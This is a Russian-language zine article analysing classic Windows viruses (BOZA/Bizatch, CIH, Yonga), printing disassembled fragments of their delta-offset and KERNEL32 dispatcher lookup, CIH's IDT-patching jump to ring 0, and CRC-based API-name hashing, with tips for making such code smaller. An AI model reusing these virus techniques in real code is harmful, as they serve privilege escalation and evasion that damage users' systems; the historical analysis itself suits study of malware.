ZF

                        Наш вирусный музей - 2
                               by DrMAD


    Продолжаем анализировать старые классические вирусы,  обнаруживая в
них забавные  ошибки,  незамеченные в свое время тонкости,  питательную
среду для новых идей.



             1. Очаровательно наивен - Win9X.BOZA/Bizatch

    BOZA (в виде бета-версии -  Bizatch)  -  первый  в  истории  вирус,
заражавший  программы  PE-формата  и  родившийся  в  Австралии.  По его
мотивам были написаны многие  вирусы,  аккуратно  повторявшие  все  его
наивности,   прежде   чем   появились   и  распространились  простые  и
эффективные методы заражения.
    В частности,  автор  вируса  определил  адреса  API-функций  внутри
KERNEL32.DLL, но не догадался,  что можно обращаться по  ним  напрямую.
Зато он  воспользовался  тем  фактом,  что в KERNEL32 для Win9X имеется
общая точка входа для всех функций. В результате программа выглядит для
современного глаза диковато и запутанно... но в этом-то ее очарование!
    Вот, смотрите сами.

;
; Обращение к системнм сервисам через общую точку входа в KERNEL32.
; Вирус Win95.BOZA
;
               start:
;
; Вначале выполняется классическое вычисление "дельта-смещения"
; при помощи пары команд CALL/POP Регистр
;
.vlad:00407000 call $+5
.vlad:00407005 pop  ebp
.vlad:00407006 mov  eax, ebp
.vlad:00407008 sub  eax, 5D3Fh ; Это - от начала кодового сегмента
.vlad:0040700D push eax
.vlad:0040700E sub  ebp, 440005h ; Это - от начала образа программы
;
; Далее вирус ищет в KERNEL32.DLL по предопределенным адресам
; из разных версий Win95
; уникальную сигнатуру 5350FC9Ch диспетчера функций
;
.vlad:00407014 mov  eax, [ebp+4403A1h]  ; Первый адрес сигнатуры
.vlad:0040701A cmp  dword ptr [eax], 5350FC9Ch ; Совпало?
.vlad:00407020 jnz  short loc_407031    ; Если нет - на следующую попытку
.vlad:00407022 nop                      ; Если да -
.vlad:00407023 nop                      ;  то в EAX загружается
.vlad:00407024 nop                      ;  адрес диспетчера
.vlad:00407025 nop                      ;  API32-сервисов для
.vlad:00407026 mov  eax, [ebp+4403A1h]  ;  конкретной версии W95.
.vlad:0040702C jmp  short loc_407049    ; И переход на использование
.vlad:0040702E nop
.vlad:0040702F nop
.vlad:00407030 nop
               loc_407031:
.vlad:00407031 mov  eax, [ebp+44039Dh]    ; Второй адрес сигнатуры
.vlad:00407037 cmp  dword ptr [eax], 5350FC9Ch ; Совпало?
.vlad:0040703D jnz  loc_407396            ; Если нет - отвалить совсем
.vlad:00407043 mov  eax, [ebp+44039Dh]    ; Есди да - см. выше.
;
; А здесь уже начинается использование адресов, найденных на предыдущем этапе
;
               loc_407049:
.vlad:00407049 mov  [ebp+440399h], eax    ; Сохранение адреса таблички
.vlad:0040704F cld
.vlad:00407050 lea  eax, [ebp+4406CBh]    ; Загрузка в стек
.vlad:00407056 push eax      ;  параметров
.vlad:00407057 push 0FFh      ;  API32-сервиса
.vlad:0040705C call sub_4073A5            ; Вызов функции обращения к сервису

......................................................................................

;
; Здесь располагается собственно вызов сервиса
;
.vlad:004073A5 sub_4073A5:
.vlad:004073A5 push 0BFF77744h     ; Смещение функции в KERNEL32.DLL
.vlad:004073AA jmp  dword ptr [ebp+440399h] ; Вызов диспетчера

    Нынешние вирусы   редко   ориентируются   на   жесткие   адреса,  а
предпочитают искать  адреса  API-функций,  сканирую   таблицу   импорта
KERNEL32.DLL.



                    2. Властелин колец - Win9X.CIH

    Великий и  ужасный  Вынь.ЧИХ.  Про  него  так много написано (в том
числе и мной), что сказать что-нибудь новенькое - трудно.
    А и не надо. Просто посмотрим на стартовый фрагмент, который:
    1) устанавливает свой обработчик исключений;
    2) прописывает  для  него  в  таблице  дескрипторов  параметры 0-го
кольца;
    3) вызывает исключение.
    В Win9X  это  исключение  попадет  в  0  кольцо,  в  Win   NT/2K/XP
исключение   тихо   произойдет   в   3-м  кольце  и  вернет  управление
программе-носителю - одним махом двух комаров убивахом! J
    Алгоритм настолько известен,  что упоминается даже  в  книжках  как
стандартный  способ перехода в 0 кольца из 3-го.  Авторы других вирусов
берут фрагмент из Win9X.CIH и использут без  малейших  модификаций,  не
обращая внимание на то, что при некоторых условиях (если вирус стартует
не из заголовка программы) его можно упростить и оптимизировать.
    Короче, вот он:

    ;
    ; Стартовый фрагмент Win9X.CIH - переход в 0 кольцо
    ;
    ; Берется адрес IDT я- таблицы дескрипторов исключений
    0335: 50         push eax
    0336: 0F014C24FE sidt [esp-0002] ;
    033B: 5B         pop  ebx
    ; EBP := адрес обработчика INT3
    033C: 83C31C     add  ebx,01C
    033F: FA         cli
    ; 6-байтовый дескриптор модифицируется по частям
    0340: 8B2B       mov  ebp,[ebx]
    0342: 668B6BFC   mov  bp,[ebx-0004]
    ; Адресация на новый обработчикя
    0346: 8D7112     lea  esi,[ecx+00012]
    0349: 56         push esi
    ; 1-я половина адреса
    034A: 668973FC   mov  [ebx-0004],si
    034E: C1EE10     shr  esi,010
    ; 2-я половина адреса
    0351: 66897302   mov  [ebx+00002],si
    0355: 5E         pop  esi
    ; Вызывается INT3
    0356: CC         int  3



           3. Миноискатель вместо лопаты - вирус Win32.Yonga

    Можно искать API-функции в KERNEL32.DLL,  сравнивая побайтно имена,
зашитые в вирусе, и имена, живущие в таблице имен экспорта билиотеки. В
этом случае внутри зараженной  программы  на  просвет  видны  строковые
имена - LoadLibrary, CreateFile и т.п.
    Считается, что первым придумал,  как этого  избежать,  GriYO/29A  в
своем вирусе Win32.Parvo.  Надо сравнивать не имена, а контрольные коды
от этих имен, например, CRC.
    Большой энтузиаст   такого  подхода  Bumblebee/29A.  Вот  как  этот
алгоритм реализован в его вирусе Win32.Yonga.

;
; Поиск API в памяти KERNEL32.DLL при помощи сравнения
; контрольных кодов
; Вирус Win32.Yonga.4434
;
;
                      ....
.41809E: xor   edx,edx
.4180A0: mov   [ebp][422462],edx
.4180A6: lea   eax,[ebp][401F5D] ; Адрес таблицы значений CRC
.4180AC: mov   esi,[ebp][422456] ; Адрес таблицы имен экспорта
.4180B2: add   esi,edx
.4180B4: mov   esi,[esi]
.4180B6: add   esi,edi
.4180B8: push  eax
.4180B9: push  edx
.4180BA: push  edi
.4180BB: xor   edi,edi
.4180BD: movzx di,b,[eax][04]
.4180C2: call  .41868A           ; Расчет CRC
.4180C7: xchg  ebx,eax           ; EBX := Результат расчета
.4180C8: pop   edi
.4180C9: pop   edx
.4180CA: pop   eax
.4180CB: cmp   ebx,[eax]         ; CRC совпадает?
.4180CD: je    .4180EE           ; Готово
.4180CF: add   edx,004
.4180D2: inc   d,[ebp][422462]
.4180D8: push  edx
.4180D9: mov   edx,[ebp][422462]
.4180DF: cmp   [ebp][00042245E],edx ; Конец таблицы?
.4180E5: pop   edx
.4180E6: je    .4185EB           ; Такого вообще нет
.4180EC: jmps  .4180AC           ; Сравнение со следующим
.4180EE: ....

; Процедура расчета CRC
.41868A: cld
.41868B: xor   ecx,ecx
.41868D: dec   ecx
.41868E: mov   edx,ecx
.418690: push  ebx
.418691: xor   eax,eax
.418693: xor   ebx,ebx
.418695: lodsb          ; Очередные 8 бит
.418696: xor   al,cl
.418698: mov   cl,ch
.41869A: mov   ch,dl
.41869C: mov   dl,dh
.41869E: mov   dh,008
.4186A0: shr   bx,1
.4186A3: rcr   ax,1
.4186A6: jae   .4186B1
.4186A8: xor   ax,08320 ; Стандартный
.4186AC: xor   bx,0EDB8 ; порождающий полином CRC32
.4186B1: dec   dh
.4186B3: jne   .4186A0
.4186B5: xor   ecx,eax
.4186B7: xor   edx,ebx
.4186B9: dec   edi
.4186BA: jne   .418691
.4186BC: pop   ebx      ;
.4186BD: not   edx      ; Кстати, это нужно только для
.4186BF: not   ecx      ; совпадения со стандарттом на CRC-32,
.4186C1: mov   eax,edx  ; а на обнаруживающую способность
.4186C3: rol   eax,010  ; результата (остатка) никак не влияет.
.4186C6: mov   ax,cx    ;
.4186C9: retn
                      ...

; Таблица заранее рассчитанных CRC имен
.418D50:                                         66 0E 69
.418D60:  03 12 47 63-F9 BF D5 BA-9B 0E 13 F5-4A F9 BF DF
.418D70:  2D 89 8C 0C-DB 7A F7 BF-EC 49 7B 79-0E A9 20 F8

    А можно   ли  реализовать  это  как-нибудь  попроще,  не  используя
достаточно длинные и сложные процедуры расчета CRC?
    В книжке  Кернигана  и Ричи "Язык программирования С++" упоминается
простой метод расчета контрольных сумм:

                          sum := A*sum + s[i].

    При A=1 имеем простое суммирование байтов,  и это - далеко не самый
лучший вариант. На 700 с лишним именах из KERNEL32.DLL от Windows 98 он
дает множество неприятных коллизий. Например, CreateFileA и MoveFileExA
имеют общую контрольную сумму 1045.
    Зато, например, при A=5 (или 7, или 9, или 10, или...) коллизий нет
вообще!  Керниган и Ричи рекомендует A=31 и отмечают, что этот алгоритм
неплох, но только для хеширования недлинных текстовых строк... а ведь у
нас  именно  этот случай!  Так что,  если бы Bumblebee знал бы об этом,
полсотни байтов он точно сэкономил бы. J



(C) NF, 1998-2004